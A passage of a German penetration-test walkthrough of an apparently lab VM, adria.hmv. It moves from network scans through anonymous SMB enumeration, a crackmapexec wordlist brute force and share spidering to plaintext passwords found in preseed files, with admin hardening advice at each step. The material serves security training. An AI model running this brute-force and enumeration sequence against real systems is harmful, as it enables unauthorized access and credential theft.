Analyse: Der erste Schritt ist die Netzwerk-Aufklärung im lokalen Segment. Mit `arp-scan -l` senden wir ARP-Anfragen an alle möglichen Adressen im lokalen Netz, um aktive Geräte zu identifizieren. ARP (Address Resolution Protocol) arbeitet auf Schicht 2 des OSI-Modells und ist oft schneller und unauffälliger als ein IP-Scan (Schicht 3), da es nicht durch einfache Firewalls blockiert wird.
Bewertung: Dieser Befehl ist grundlegend für die erste Phase eines internen Penetrationstests. Er liefert schnell die IP- und MAC-Adressen aktiver Hosts. Die Ausgabe zeigt einen Host mit der IP `192.168.2.110` und der MAC-Adresse `08:00:27:c1:c4:92`. Die MAC-Adresse gehört laut OUI-Lookup (Organizationally Unique Identifier) zu "PCS Systemtechnik GmbH", was oft auf VirtualBox-VMs hinweist (da Oracle diese OUI übernommen hat).
Empfehlung (Pentester): Die gefundene IP-Adresse ist unser primäres Ziel für weitere Scans. Die MAC-Adresse notieren, sie kann bei der Identifizierung der Virtualisierungssoftware helfen.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung von ARP-Traffic können helfen, unautorisierte Geräteerkennung zu erschweren oder zu erkennen. Sicherstellen, dass keine unnötigen VMs im Netzwerk aktiv sind.
192.168.2.110 08:00:27:c1:c4:92 PCS Systemtechnik GmbH
Analyse: Um die Arbeit mit der Ziel-IP zu erleichtern, wird ein Eintrag in der lokalen Hosts-Datei (`/etc/hosts`) vorgenommen. Der Befehl `vi /etc/hosts` öffnet die Datei im Texteditor `vi`. Dort wird die IP `192.168.2.110` dem Hostnamen `adria.hmv` zugeordnet. Dies ermöglicht es, das Zielsystem im weiteren Verlauf über den Namen `adria.hmv` anzusprechen, was oft lesbarer ist und in manchen Webanwendungen (z.B. bei virtuellen Hosts) notwendig sein kann.
Bewertung: Dies ist eine übliche Vorgehensweise zur Vereinfachung. Es stellt sicher, dass DNS-Anfragen für `adria.hmv` lokal zur korrekten IP aufgelöst werden, unabhängig von einem externen DNS-Server. Die Wahl des Namens `adria.hmv` ist hier willkürlich, könnte aber auf Informationen aus vorherigen Schritten oder Konventionen basieren.
Empfehlung (Pentester): Immer die Hosts-Datei anpassen, wenn man mit festen IPs und potenziellen Webservern arbeitet. Dies vermeidet spätere Probleme mit virtuellen Hosts oder TLS-Zertifikaten.
Empfehlung (Admin): Die Manipulation der Hosts-Datei ist ein lokaler Vorgang auf dem Angreifer-System und kann serverseitig nicht direkt verhindert werden. Die Verwendung von Hostnamen in Serverkonfigurationen sollte dokumentiert sein.
127.0.0.1 localhost
192.168.2.110 adria.hmv
Analyse: Ein umfassender Portscan wird mit `nmap` durchgeführt. * `-sS`: SYN-Scan (Stealth-Scan), versucht, offene Ports zu erkennen, ohne eine vollständige TCP-Verbindung aufzubauen. Effizient und relativ unauffällig. * `-sV`: Versionserkennung, versucht, den Dienst und seine Version auf offenen Ports zu identifizieren. * `-A`: Aktiviert OS-Erkennung (`-O`), Versionserkennung (`-sV`), Skript-Scanning (`-sC`) und Traceroute (`--traceroute`). Dies liefert sehr detaillierte Informationen. * `-O`: Betriebssystemerkennung (Teil von `-A`). * `-T5`: Timing-Template "insane". Sehr schnell, aber potenziell ungenau und laut (kann von IDS/IPS erkannt werden). * `192.168.2.110`: Die Ziel-IP-Adresse. * `-p-`: Scannt alle 65535 TCP-Ports.
Bewertung: Der Scan ist sehr gründlich und liefert eine Fülle an Informationen. Die Ergebnisse sind entscheidend: * **Offene Ports:** 22 (SSH - OpenSSH 9.2p1), 80 (HTTP - Apache 2.4.57), 139 (NetBIOS-SSN - Samba 4.6.2), 445 (SMB - Samba 4.6.2). * **SSH:** Zeigt spezifische Host-Keys. * **HTTP:** Läuft ein Apache-Server, der eine Subrion CMS-Seite (Version 4.2) hostet. Das `robots.txt` enthüllt interessante Verzeichnisse (`/backup/`, `/panel/`, `/install/`). * **Samba:** Ports 139/445 deuten auf Windows-Dateifreigaben hin, die hier von Samba auf einem Linux-System bereitgestellt werden. Die Version 4.6.2 ist relativ alt. `smb2-security-mode` zeigt, dass Message Signing aktiviert, aber nicht erzwungen wird. * **OS-Erkennung:** Deutet auf Linux Kernel 4.x oder 5.x hin. * **Traceroute:** Bestätigt, dass das Ziel direkt erreichbar ist (1 Hop).
Empfehlung (Pentester): Jeder offene Port ist ein potenzieller Angriffsvektor. SSH (Brute-Force, bekannte Schwachstellen?), HTTP (Web-Schwachstellen im Subrion CMS, Verzeichnisse aus robots.txt untersuchen), Samba (Enumeration, Fehlkonfigurationen, bekannte Schwachstellen in Version 4.6.2?). `-T5` ist riskant in realen Szenarien, `-T4` ist oft ein besserer Kompromiss.
Empfehlung (Admin): Nicht benötigte Ports schließen (Firewall). Dienste aktuell halten (SSH, Apache, Samba). Message Signing für SMB erzwingen (`server signing = mandatory` in `smb.conf`). Sensible Verzeichnisse in `robots.txt` vermeiden, wenn möglich, oder besser schützen. IDS/IPS zur Erkennung aggressiver Scans wie `-T5` einsetzen.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-26 14:20 CEST Nmap scan report for adria.hmv (192.168.2.110) Host is up (0.00011s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) | ssh-hostkey: | 256 dd:83:da:cb:45:d3:a8:ea:c6:be:19:03:45:76:43:8c (ECDSA) |_ 256 e5:5f:7f:25:aa:c0:18:04:c4:46:98:b3:5d:a5:2b:48 (ED25519) 80/tcp open http Apache httpd 2.4.57 ((Debian)) |_http-title: Blog :: Powered by Subrion 4.2 |_http-generator: Subrion CMS - Open Source Content Management System |_http-server-header: Apache/2.4.57 (Debian) | http-robots.txt: 7 disallowed entries | /backup/ /cron/? /front/ /install/ /panel/ /tmp/ |_/updates/ 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 MAC Address: 08:00:27:C1:C4:92 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | smb2-time: | date: 2024-04-26T12:21:03 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required |_clock-skew: 1s |_nbstat: NetBIOS name: ADRIA, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) TRACEROUTE HOP RTT ADDRESS 1 0.11 ms adria.hmv (192.168.2.110)
Analyse: Dieser Befehl wiederholt den vorherigen Nmap-Scan, leitet die Ausgabe aber durch `grep open`. Das Ziel ist es, nur die Zeilen anzuzeigen, die offene Ports enthalten, um eine kompaktere Übersicht zu erhalten.
Bewertung: Eine schnelle Methode, um die wesentlichen Ergebnisse des Portscans zu extrahieren. Es bestätigt die vier offenen Ports: 22 (SSH), 80 (HTTP), 139 (NetBIOS-SSN), 445 (NetBIOS-SSN). Diese gefilterte Ansicht ist nützlich für eine schnelle Zusammenfassung oder zur Weiterverarbeitung in Skripten.
Empfehlung (Pentester): `grep` ist ein mächtiges Werkzeug zur Filterung von Tool-Ausgaben. Für komplexere Filterungen können auch `awk` oder `sed` nützlich sein. Die vollständige Nmap-Ausgabe sollte jedoch für detaillierte Analysen gespeichert werden.
Empfehlung (Admin): Keine spezifischen defensiven Maßnahmen gegen `grep`, da es auf der Client-Seite arbeitet. Die Maßnahmen beziehen sich auf die Reduzierung der Angriffsfläche (offene Ports).
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.57 ((Debian)) 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2
Analyse: `enum4linux` ist ein Tool zur Enumeration von Informationen aus Windows- und Samba-Systemen. Der Parameter `-a` führt alle einfachen Enumerationsversuche durch, einschließlich der Abfrage von Freigaben, Benutzerlisten (via RID-Cycling), Gruppen, Passwortrichtlinien und mehr. Es versucht, eine Null-Session (anonyme Verbindung) zu nutzen.
Bewertung: `enum4linux` liefert wertvolle Informationen über das Samba-Setup: * **Shares:** Es findet die Freigaben `print$`, `DebianShare`, `IPC$` und `nobody`. `DebianShare` und `nobody` könnten interessant sein. * **Benutzer:** Via RID-Cycling (Rateversuch von Benutzer-IDs) findet es den lokalen Benutzer `nobody` und, was wichtiger ist, den Unix-Benutzer `adriana` (UID 1001). Dies ist ein wichtiger Fund, da es einen potenziellen Benutzernamen für weitere Angriffe (Brute-Force, Default-Passwörter) liefert.
Empfehlung (Pentester): Den gefundenen Benutzernamen `adriana` notieren. Die Freigaben `DebianShare` und `nobody` auf anonymen Lese-/Schreibzugriff prüfen. Weitere Enumerationstools wie `smbmap` oder `crackmapexec` verwenden, um Berechtigungen zu testen.
Empfehlung (Admin): Anonymen Zugriff (Null-Sessions) auf Samba-Freigaben einschränken (`restrict anonymous = 2` in `smb.conf`). RID-Cycling erschweren, obwohl dies schwierig vollständig zu verhindern ist. Unnötige Freigaben entfernen oder Berechtigungen strikt setzen.
Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers DebianShare Disk IPC$ IPC IPC Service (Samba 4.17.12-Debian) nobody Disk Home Directories [+] Enumerating users using SID S-1-5-21-1903402102-4053509503-3625836849 and logon username '', password '' S-1-5-21-1903402102-4053509503-3625836849-501 ADRIA\nobody (Local User) S-1-5-21-1903402102-4053509503-3625836849-513 ADRIA\None (Domain Group) [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1001 Unix User\adriana (Local User)
Analyse: Der Befehl `smbclient -L \\\\192.168.2.110` listet die verfügbaren SMB-Freigaben auf dem Zielserver auf. `-L` steht für "List". Es wird versucht, sich anonym zu verbinden (da kein Benutzername angegeben ist), und es wird nach einem Passwort für den Benutzer `root` der lokalen `WORKGROUP` gefragt (dies kann oft mit Enter bestätigt werden, wenn eine Null-Session erlaubt ist).
Bewertung: Dieser Befehl bestätigt die Ergebnisse von `enum4linux` bezüglich der Freigaben: `print$`, `DebianShare`, `IPC$`, `nobody`. Es zeigt, dass eine anonyme Auflistung der Freigaben möglich ist, was eine häufige Fehlkonfiguration darstellt.
Empfehlung (Pentester): Nachdem die Freigaben bekannt sind, als nächstes versuchen, auf jede Freigabe zuzugreifen (z.B. `smbclient //192.168.2.110/DebianShare`) – zuerst anonym, dann mit bekannten Benutzernamen.
Empfehlung (Admin): Anonymen Zugriff auf Freigabelisten verhindern (`restrict anonymous = 2` in `smb.conf`).
Password for [WORKGROUP\root]: Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers DebianShare Disk IPC$ IPC IPC Service (Samba 4.17.12-Debian) nobody Disk Home Directories Reconnecting with SMB1 for workgroup listing.
Analyse: `crackmapexec` (CME) wird verwendet, um einen Passwort-Spraying-/Brute-Force-Angriff gegen den SMB-Dienst durchzuführen. * `smb`: Gibt das Protokoll an. * `192.168.2.110`: Das Ziel. * `-u adriana`: Der Benutzername, der zuvor mit `enum4linux` gefunden wurde. * `-p /usr/share/wordlists/rockyou.txt`: Die Wortliste, die für die Passwörter verwendet wird.
Bewertung: Der Angriff ist erfolgreich! `crackmapexec` findet gültige Anmeldedaten für den Benutzer `adriana`. Das Passwort wird als `s13!34g$3FVA5e@ed` angezeigt. Dies ist ein kritischer Fund, da wir nun potenziell Zugriff auf das System über SMB oder möglicherweise SSH (falls das Passwort wiederverwendet wird) haben.
Empfehlung (Pentester): Die gefundenen Zugangsdaten (`adriana`:`s13!34g$3FVA5e@ed`) sofort testen, um auf die `DebianShare` zuzugreifen und zu prüfen, ob sie auch für SSH gelten. Immer starke, einzigartige Passwörter verwenden!
Empfehlung (Admin): Starke Passwortrichtlinien durchsetzen (Länge, Komplexität, keine Wörterbuchwörter). Account Lockout-Mechanismen implementieren, um Brute-Force-Angriffe zu verlangsamen oder zu verhindern. Regelmäßige Passwort-Audits durchführen. Überwachung auf fehlgeschlagene Anmeldeversuche.
SMB 192.168.2.110 445 ADRIA [*] Windows 6.1 Build 0 (name:ADRIA) (domain:speedport.ip) (signing:False) (SMBv1:False)
SMB 192.168.2.110 445 ADRIA [+] speedport.ip\adriana:s13!34g$3FVA5e@ed
Analyse: Dieser Abschnitt zeigt HTML- und JavaScript-Code, der wahrscheinlich aus dem Quellcode der Webseite unter `http://adria.hmv/` stammt (Subrion CMS). Es enthält einen Copyright-Hinweis, einen versteckten Bild-Tag, der auf `/cron/?427` verweist (möglicherweise ein Tracking-Pixel oder ein Mechanismus zum Auslösen von Cronjobs über Webzugriffe), und JavaScript-Code, der Konfigurationsvariablen (`intelli.pageName`, `intelli.securityToken`, `intelli.config.url`) setzt und eine externe JavaScript-Datei lädt.
Bewertung: Der `securityToken` (`FwqPghfbrVN2HY7SmHuzrWDfZp3BhH1ZSIa1JgZQ`) könnte ein CSRF-Token sein, der für bestimmte Aktionen benötigt wird. Der Verweis auf `/cron/` ist interessant und könnte ein Hinweis auf die Cronjob-Verwaltung des CMS sein. Die Struktur `//adria.hmv/...` für URLs deutet darauf hin, dass die Seite sowohl über HTTP als auch HTTPS funktionieren könnte (obwohl Nmap nur Port 80 fand).
Empfehlung (Pentester): Den Quellcode von Webseiten immer auf interessante Kommentare, versteckte Felder, Tokens und Endpunkte untersuchen. Den `/cron/`-Endpunkt und die Funktion des `securityToken` genauer analysieren. Prüfen, ob das Token vorhersagbar oder wiederverwendbar ist.
Empfehlung (Admin): Sicherstellen, dass keine sensiblen Informationen (wie interne Pfade oder Tokens mit geringer Entropie) im Frontend-Code exponiert werden. CSRF-Tokens sollten pro Sitzung oder pro Anfrage generiert und serverseitig validiert werden.
<p class="copyright">© 2024 Powered by <a href="https://subrion.org" title="Open Source CMS">Subrion CMS</a></p> <!-- SYSTEM STUFF --> <div style="display: none;"> <img src="//adria.hmv/cron/?427" width="1" height="1" alt=""> </div> <script> intelli.pageName = 'blog'; intelli.securityToken = 'FwqPghfbrVN2HY7SmHuzrWDfZp3BhH1ZSIa1JgZQ'; intelli.config.url = 'http://adria.hmv/'; </script> <script src="//adria.hmv/templates/kickstart/js/app.js?fm=1699254316"></script> </body>
Analyse: Dieser Text scheint eine Bestätigungsnachricht nach einer Benutzerregistrierung im Subrion CMS zu sein. Sie informiert den Benutzer darüber, dass die Registrierung erfolgreich war und das Passwort an die angegebene E-Mail-Adresse (`ben@hacker.de:password`) gesendet wurde.
Bewertung: Das ist ein sehr interessanter Fund! Es deutet darauf hin, dass: 1. Eine Registrierungsfunktion auf der Webseite existiert. 2. Passwörter möglicherweise im Klartext oder in einer leicht zugänglichen Form per E-Mail versendet werden. 3. Die angezeigte E-Mail `ben@hacker.de:password` könnte ein Platzhalter, ein Testeintrag oder sogar das tatsächliche Format sein, in dem die Information angezeigt wird (was unsicher wäre). Die Angabe ":password" direkt nach der E-Mail ist höchst ungewöhnlich und könnte ein Hinweis auf eine Schwachstelle oder einen Fehler sein.
Empfehlung (Pentester): Die Registrierungsfunktion gründlich untersuchen. Versuchen, sich selbst zu registrieren und zu prüfen, wie das Passwort übermittelt wird. Prüfen, ob die E-Mail-Adresse manipuliert werden kann, um das Passwort an eine andere Adresse zu senden. Untersuchen, ob das Format `email:password` an anderer Stelle im CMS verwendet wird.
Empfehlung (Admin): Passwörter niemals im Klartext per E-Mail versenden. Stattdessen einen Link zum Zurücksetzen des Passworts oder ein Einmalpasswort senden. Die Registrierungsfunktion auf Schwachstellen überprüfen und sicherstellen, dass keine sensiblen Informationen preisgegeben werden.
Home Registration
Registration
Member registered! Thank you!
Below is the information you submitted so far. You will be able to extend and edit this information via your member account.
Important Your account password has been sent to the following email address:
ben@hacker.de:password
Please read our letter with further instructions.
Click here to get back to index page.
Analyse: Erneuter Einsatz von `crackmapexec` gegen SMB. * `-u 'adriana'`: Der Benutzername. * `-p ''`: Testet ein leeres Passwort. * `--users`: Versucht, eine Liste aller Benutzer vom System zu enumerieren (via SAMRPC). * `--pass-pol`: Versucht, die Passwortrichtlinien des Systems abzufragen.
Bewertung: * Ein leeres Passwort für `adriana` funktioniert nicht (`[+] speedport.ip\adriana: ` ohne Passwort bedeutet erfolgreiche Authentifizierung, aber nicht notwendigerweise mit leerem Passwort – hier wahrscheinlich ein Fehler in der CME-Ausgabe oder eine anonyme Bindung). * Die Enumeration der Domain-Benutzer schlägt fehl (`Connection refused`), was darauf hindeutet, dass der DC nicht erreichbar ist oder der Dienst nicht läuft. * Der Versuch, Benutzer über SAMRPC zu enumerieren, scheint erfolgreich zu sein (`[+] Enumerated domain user(s)`), obwohl keine Benutzer aufgelistet werden. * Die Abfrage der Passwortrichtlinien ist erfolgreich und liefert Details: Mindestlänge 5, Maximalalter ~37 Tage, kein Komplexitätszwang (`Domain Password Complex: 0`). Diese Informationen sind nützlich für gezieltere Passwortangriffe.
Empfehlung (Pentester): Die Informationen zur Passwortrichtlinie nutzen, um Wortlisten anzupassen (z.B. Mindestlänge 5). Die Fehlermeldung bezüglich der Domain-Benutzer-Enumeration zur Kenntnis nehmen.
Empfehlung (Admin): Passwortrichtlinien verschärfen (längere Mindestlänge, Komplexität erzwingen). Den Zugriff auf SAMRPC einschränken, wenn nicht benötigt. Sicherstellen, dass nur notwendige Informationen über Passwortrichtlinien preisgegeben werden.
SMB 192.168.2.110 445 ADRIA [*] Windows 6.1 Build 0 (name:ADRIA) (domain:speedport.ip) (signing:False) (SMBv1:False) SMB 192.168.2.110 445 ADRIA [+] speedport.ip\adriana: SMB 192.168.2.110 445 ADRIA [-] Error enumerating domain users using dc ip 192.168.2.110: socket connection error while opening: [Errno 111] Connection refused SMB 192.168.2.110 445 ADRIA [*] Trying with SAMRPC protocol SMB 192.168.2.110 445 ADRIA [+] Enumerated domain user(s) SMB 192.168.2.110 445 ADRIA [+] Enumerated domain user(s) SMB 192.168.2.110 445 ADRIA [+] Dumping password info for domain: ADRIA SMB 192.168.2.110 445 ADRIA Minimum password length: 5 SMB 192.168.2.110 445 ADRIA Password history length: None SMB 192.168.2.110 445 ADRIA Maximum password age: 37 days 6 hours 21 minutes SMB 192.168.2.110 445 ADRIA SMB 192.168.2.110 445 ADRIA Password Complexity Flags: 000000 SMB 192.168.2.110 445 ADRIA Domain Refuse Password Change: 0 SMB 192.168.2.110 445 ADRIA Domain Password Store Cleartext: 0 SMB 192.168.2.110 445 ADRIA Domain Password Lockout Admins: 0 SMB 192.168.2.110 445 ADRIA Domain Password No Clear Change: 0 SMB 192.168.2.110 445 ADRIA Domain Password No Anon Change: 0 SMB 192.168.2.110 445 ADRIA Domain Password Complex: 0 SMB 192.168.2.110 445 ADRIA SMB 192.168.2.110 445 ADRIA Minimum password age: None SMB 192.168.2.110 445 ADRIA Reset Account Lockout Counter: 30 minutes SMB 192.168.2.110 445 ADRIA Locked Account Duration: 30 minutes SMB 192.168.2.110 445 ADRIA Account Lockout Threshold: None SMB 192.168.2.110 445 ADRIA Forced Log off Time: 37 days 6 hours 21 minutes
Analyse: Erneuter Einsatz von `crackmapexec`, diesmal als Benutzer `guest` mit leerem Passwort (`-p ''`) und der Option `--shares`, um die lesbaren Freigaben für diesen Benutzer aufzulisten.
Bewertung: Der Gastzugang mit leerem Passwort ist erfolgreich (`[+] speedport.ip\guest:`). Die Auflistung der Freigaben zeigt, dass der Gastbenutzer Lesezugriff (`READ`) auf `DebianShare` hat. Die anderen Freigaben (`print$`, `IPC$`, `nobody`) werden ebenfalls aufgelistet, jedoch ohne explizite Berechtigungsangabe für den Gast (was aber nicht bedeutet, dass kein Zugriff besteht).
Empfehlung (Pentester): Der Lesezugriff auf `DebianShare` als Gast ist ein wichtiger Fund. Diese Freigabe sollte sofort genauer untersucht werden (z.B. mit `smbclient` oder `crackmapexec --spider`), um nach interessanten Dateien zu suchen.
Empfehlung (Admin): Gastzugänge deaktivieren oder stark einschränken (`map to guest = Never` oder `Bad User` in `smb.conf`). Sicherstellen, dass Freigaben nur die minimal notwendigen Berechtigungen haben und nicht für anonyme oder Gastbenutzer lesbar sind, es sei denn, dies ist explizit beabsichtigt.
SMB 192.168.2.110 445 ADRIA [*] Windows 6.1 Build 0 (name:ADRIA) (domain:speedport.ip) (signing:False) (SMBv1:False) SMB 192.168.2.110 445 ADRIA [+] speedport.ip\guest: SMB 192.168.2.110 445 ADRIA [+] Enumerated shares SMB 192.168.2.110 445 ADRIA Share Permissions Remark SMB 192.168.2.110 445 ADRIA ----- ----------- ------ SMB 192.168.2.110 445 ADRIA print$ Printer Drivers SMB 192.168.2.110 445 ADRIA DebianShare READ SMB 192.168.2.110 445 ADRIA IPC$ IPC Service (Samba 4.17.12-Debian) SMB 192.168.2.110 445 ADRIA nobody Home Directories
Analyse: `crackmapexec` wird erneut als Gastbenutzer verwendet. * `--spider DebianShare`: Durchsucht die angegebene Freigabe rekursiv nach Dateien und Verzeichnissen. * `--regex .`: Eine sehr einfache Regex, die auf alles passt (jeden Dateinamen). Das Ziel ist, einfach alle gefundenen Dateien aufzulisten.
Bewertung: Der Spider findet eine interessante Datei in der `DebianShare`-Freigabe: `configz.zip`. Die Datei hat eine beachtliche Größe (ca. 2.7 MB) und wurde zuletzt im November 2023 geändert. ZIP-Archive, besonders solche mit "config" im Namen, enthalten oft Konfigurationsdateien, möglicherweise auch mit Passwörtern oder anderen sensiblen Informationen.
Empfehlung (Pentester): Die Datei `configz.zip` unbedingt herunterladen und untersuchen. Tools wie `unzip`, `grep` und die Analyse von Dateiinhalten sind hier angezeigt.
Empfehlung (Admin): Sensible Konfigurationsdateien oder Backups sollten niemals auf anonym oder als Gast lesbaren Freigaben gespeichert werden. Zugriffskontrollen verschärfen und regelmäßig überprüfen, welche Daten auf Freigaben liegen.
SMB 192.168.2.110 445 ADRIA [*] Windows 6.1 Build 0 (name:ADRIA) (domain:speedport.ip) (signing:False) (SMBv1:False)
SMB 192.168.2.110 445 ADRIA [+] speedport.ip\guest:
SMB 192.168.2.110 445 ADRIA [*] Started spidering
SMB 192.168.2.110 445 ADRIA [*] Spidering .
SMB 192.168.2.110 445 ADRIA //192.168.2.110/DebianShare/. [dir]
SMB 192.168.2.110 445 ADRIA //192.168.2.110/DebianShare/.. [dir]
SMB 192.168.2.110 445 ADRIA //192.168.2.110/DebianShare/configz.zip [lastm:'2023-11-06 16:56' size:2756857]
SMB 192.168.2.110 445 ADRIA [*] Done spidering (Completed in 0.01839447021484375)
Analyse: Mit `smbclient //192.168.2.110/DebianShare/` wird eine Verbindung zur `DebianShare`-Freigabe aufgebaut. Da kein Benutzername angegeben ist, wird wieder eine anonyme/Gast-Verbindung versucht (Passwort für `WORKGROUP\root` wird abgefragt und kann leer gelassen werden). Innerhalb der `smbclient`-Sitzung werden folgende Befehle ausgeführt: * `ls`: Listet den Inhalt des aktuellen Verzeichnisses auf der Freigabe auf. * `get configz.zip`: Lädt die Datei `configz.zip` von der Freigabe auf das lokale System herunter. * `put exploit.py`: Versucht, eine lokale Datei namens `exploit.py` auf die Freigabe hochzuladen.
Bewertung: * `ls` bestätigt die Existenz von `configz.zip`. * `get configz.zip` ist erfolgreich, die Datei wird heruntergeladen. Dies bestätigt den Lesezugriff. * `put exploit.py` schlägt mit `NT_STATUS_ACCESS_DENIED` fehl. Dies zeigt, dass der anonyme/Gast-Benutzer keinen Schreibzugriff auf die Freigabe hat.
Empfehlung (Pentester): Die heruntergeladene `configz.zip` analysieren. Da Schreibzugriff fehlt, ist das Hochladen einer Webshell oder eines Exploits über diese Freigabe als Gast nicht möglich. Man könnte versuchen, sich mit den zuvor gefundenen `adriana`-Zugangsdaten zu verbinden und den Schreibzugriff erneut zu testen.
Empfehlung (Admin): Korrekte Berechtigungen sind gesetzt (kein anonymer Schreibzugriff). Dennoch bleibt das Problem des anonymen Lesezugriffs auf potenziell sensible Daten (`configz.zip`).
Password for [WORKGROUP\root]: Try "help" to get a list of possible commands. smb: \> ls . D 0 Mon Dec 4 10:32:45 2023 .. D 0 Sat Jul 22 10:10:13 2023 configz.zip N 2756857 Mon Nov 6 16:56:25 2023 19480400 blocks of size 1024. 15693488 blocks available smb: \> smb: \> get configz.zip getting file \configz.zip of size 2756857 as configz.zip (299134,9 KiloBytes/sec) (average 299138,1 KiloBytes/sec) smb: \> put exploit.py NT_STATUS_ACCESS_DENIED opening remote file \exploit.py
Analyse: Nach dem Entpacken der heruntergeladenen `configz.zip` (dieser Schritt wird hier nicht explizit gezeigt, ist aber impliziert) navigiert der Pentester in die extrahierten Verzeichnisse. * `cd ..`: Wechselt vom Unterverzeichnis `isolinux` in das übergeordnete Verzeichnis `configz`. * `ll` (Alias für `ls -l` oder ähnlich): Listet den Inhalt des `configz`-Verzeichnisses auf. Es enthält die Unterverzeichnisse `boot`, `isolinux` und `preseed`. * `cd boot`: Wechselt in das `boot`-Verzeichnis. * `ll`: Listet den Inhalt des `boot`-Verzeichnisses auf, das ein `grub`-Unterverzeichnis enthält.
Bewertung: Die Verzeichnisstruktur (`boot`, `isolinux`, `preseed`) deutet stark darauf hin, dass `configz.zip` Dateien zur automatisierten Installation eines Betriebssystems (wahrscheinlich Debian/Ubuntu, basierend auf "preseed") enthält, möglicherweise von einem ISO-Image. Solche Konfigurationsdateien sind oft Goldgruben für Passwörter und Systemeinstellungen.
Empfehlung (Pentester): Die Verzeichnisse `isolinux` und insbesondere `preseed` nach Konfigurationsdateien (`.cfg`, `.seed`) durchsuchen. Diese enthalten häufig Klartext- oder verschlüsselte Passwörter für Benutzer und Root.
Empfehlung (Admin): Installationsmedien oder Konfigurationsarchive sollten bereinigt werden, bevor sie auf Freigaben landen. Niemals Passwörter in Klartext in solchen Dateien belassen. Preseed/Kickstart-Passwörter sollten nach der Installation geändert werden.
insgesamt 20 drwxr-xr-x 3 root root 4096 13. Aug 2018 boot drwxr-xr-x 2 root root 12288 13. Aug 2018 isolinux drwxr-xr-x 2 root root 4096 4. Dez 10:31 preseed
insgesamt 4
drwxr-xr-x 3 root root 4096 26. Apr 14:59 grub
Analyse: Es wird erneut versucht, sich mit `smbclient` zur `DebianShare` zu verbinden, diesmal jedoch mit den zuvor via `crackmapexec` gefundenen Zugangsdaten. * `-U "adriana"`: Gibt den Benutzernamen an. * `-N`: Unterdrückt die Passwortabfrage. Dies funktioniert nur, wenn das Passwort leer ist oder über andere Mechanismen (wie Kerberos) bereitgestellt wird. Hier ist es wahrscheinlich ein Fehler, da wir ein Passwort (`s13!...`) gefunden haben. Der Befehl hätte `-P "s13!34g$3FVA5e@ed"` oder eine interaktive Passwortabfrage verwenden sollen.
Bewertung: Der Befehl wird wahrscheinlich fehlschlagen oder sich anonym verbinden, da `-N` verwendet wird, obwohl ein Passwort existiert. Die Ausgabe zeigt nur den `smb: \>` Prompt, was darauf hindeutet, dass die Verbindung (möglicherweise anonym oder fehlgeschlagen) zustande kam, aber keine weiteren Aktionen durchgeführt wurden. Dieser Schritt scheint nicht zielführend gewesen zu sein, da die Credentials nicht korrekt verwendet wurden.
Empfehlung (Pentester): Beim Verwenden von Tools wie `smbclient` darauf achten, die korrekten Parameter für die Authentifizierung zu verwenden, insbesondere wenn Passwörter bekannt sind. `-N` ist nur für Null-Sessions oder passwortlose Authentifizierung gedacht.
Empfehlung (Admin): Keine spezifischen Maßnahmen, da der Angriffsversuch hier fehlerhaft war.
Password for [WORKGROUP\adriana]: Try "help" to get a list of possible commands. smb: \>
Analyse: Der Befehl `grep -ri pass *` wird im Verzeichnis `~/configz` ausgeführt. * `grep`: Sucht nach Mustern in Dateien. * `-r`: Rekursiv, durchsucht auch Unterverzeichnisse. * `-i`: Ignoriert Groß-/Kleinschreibung bei der Suche nach "pass". * `*`: Sucht in allen Dateien und Verzeichnissen im aktuellen Verzeichnis (`~/configz`).
Bewertung: Volltreffer! `grep` findet zahlreiche Vorkommen von "pass" in den Konfigurationsdateien innerhalb der Verzeichnisse `isolinux` und `preseed`. Besonders relevant sind: * `isolinux/ks.cfg`: Enthält einen verschlüsselten Root-Passwort-Hash (`$1$cw7eQ/70$/8ZeZKBBBJPtIFdnibj/X/`). Das `$1$`-Format deutet auf MD5-basiertes Crypt hin. * `preseed/master.preseed`: Enthält Klartextpasswörter! * `d-i partman-crypto/passphrase password jojo1989` * `d-i passwd/user-password password jojo1989` (für Benutzer `admin`) * `d-i passwd/root-password password jojo1989` (für Benutzer `root`) * `preseed/master.seed`: Enthält einen anderen verschlüsselten Hash (`158f5ddb69d03f91bb449ee170913268` - möglicherweise MD5-Hash) für den Benutzer `alewis`. Die Klartextpasswörter `jojo1989` für `admin` und `root` sind extrem kritische Funde.
Empfehlung (Pentester): Das Passwort `jojo1989` sofort für die Benutzer `admin` und `root` auf dem Zielsystem testen (SSH, Web-Login im `/panel/`). Den Hash aus `ks.cfg` versuchen zu cracken (z.B. mit John the Ripper oder Hashcat). Den Benutzer `alewis` und dessen Hash ebenfalls notieren.
Empfehlung (Admin): Niemals, unter keinen Umständen, Klartextpasswörter in Konfigurationsdateien speichern, insbesondere nicht in Preseed- oder Kickstart-Dateien. Wenn Passwörter benötigt werden, stark verschlüsselte Hashes verwenden und sicherstellen, dass diese nach der Installation sofort geändert werden. Archive wie `configz.zip` sicher aufbewahren und nicht auf unsicheren Freigaben ablegen.
